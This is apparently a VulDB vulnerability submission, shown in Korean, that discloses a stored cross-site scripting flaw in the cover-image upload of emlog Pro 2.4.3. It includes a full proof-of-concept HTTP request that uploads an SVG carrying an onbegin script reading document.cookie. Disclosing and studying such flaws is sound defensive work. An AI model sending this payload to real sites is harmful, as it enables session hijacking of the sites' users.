제출 #468753: emlog Emlog Pro 2.4.3 Cross-Site Scripting (XSS)

Summary
An XSS vulnerability has been discovered in emlog pro 2.4.3. The vulnerability stems from the fact that /admin/article.php does not filter malicious SVG files. This vulnerability allows an attacker with content editing permissions to exploit the system by uploading an SVG file containing malicious XML code as the cover image for an article.

Details
The vulnerability exists in the article cover image upload functionality. Attackers can upload an SVG file that contains malicious XML code.

POC
POST /admin/article.php?action=upload_cover HTTP/1.1
Host: target-ip
Content-Length: 1116
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.95 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBXHN1jTPmYb3jbAq
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: [users'cookie]
Connection: keep-alive

------WebKitFormBoundaryBXHN1jTPmYb3jbAq
Content-Disposition: form-data; name="image"; filename="alert.svg"
Content-Type: image/svg+xml

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 128 128">
<path fill="#D26383"
d="M115.4 30.7L67.1 2.9c-.8-.5-1.9-.7-3.1-.7-1.2 0-2.3.3-3.1.7l-48 27.9c-1.7 1-2.9 3.5-2.9 5.4v55.7c0 1.1.2 2.4 1 3.5l106.8-62c-.6-1.2-1.5-2.1-2.4-2.7z" />
<path fill="#9C033A"
d="M10.7 95.3c.5.8 1.2 1.5 1.9 1.9l48.2 27.9c.8.5 1.9.7 3.1.7 1.2 0 2.3-.3 3.1-.7l48-27.9c1.7-1 2.9-3.5 2.9-5.4V36.1c0-.9-.1-1.9-.6-2.8l-106.6 62z" />
<path fill="#fff"
d="M85.3 76.1C81.1 83.5 73.1 88.5 64 88.5c-13.5 0-24.5-11-24.5-24.5s11-24.5 24.5-24.5c9.1 0 17.1 5 21.3 12.5l13-7.5c-6.8-11.9-19.6-20-34.3-20-21.8 0-39.5 17.7-39.5 39.5s17.7 39.5 39.5 39.5c14.6 0 27.4-8 34.2-19.8l-12.9-7.6z" />
<path
d="M82.1 61.8h5.2v-5.3h4.4v5.3H97v4.4h-5.3v5.2h-4.4v-5.2h-5.2v-4.4zm18.5 0h5.2v-5.3h4.4v5.3h5.3v4.4h-5.3v5.2h-4.4v-5.2h-5.2v-4.4z"
fill="#fff" />
<animate onbegin="alert(document.cookie)"></animate>
</svg>
------WebKitFormBoundaryBXHN1jTPmYb3jbAq--

• 원천: ⚠️ https://github.com/emlog/emlog/issues/312
• 사용자: jiashenghe (UID 39445)
• 제출: 2024. 12. 25. AM 07:38 (2 연령 ago)
• 모더레이션: 2025. 01. 04. AM 10:53 (10 days later)
• 상태: 수락
• VulDB 항목: 290214 [Emlog Pro 까지 2.4.3 Cover Upload article.php?action=upload_cover image 크로스 사이트 스크립팅]
• 포인트들: 20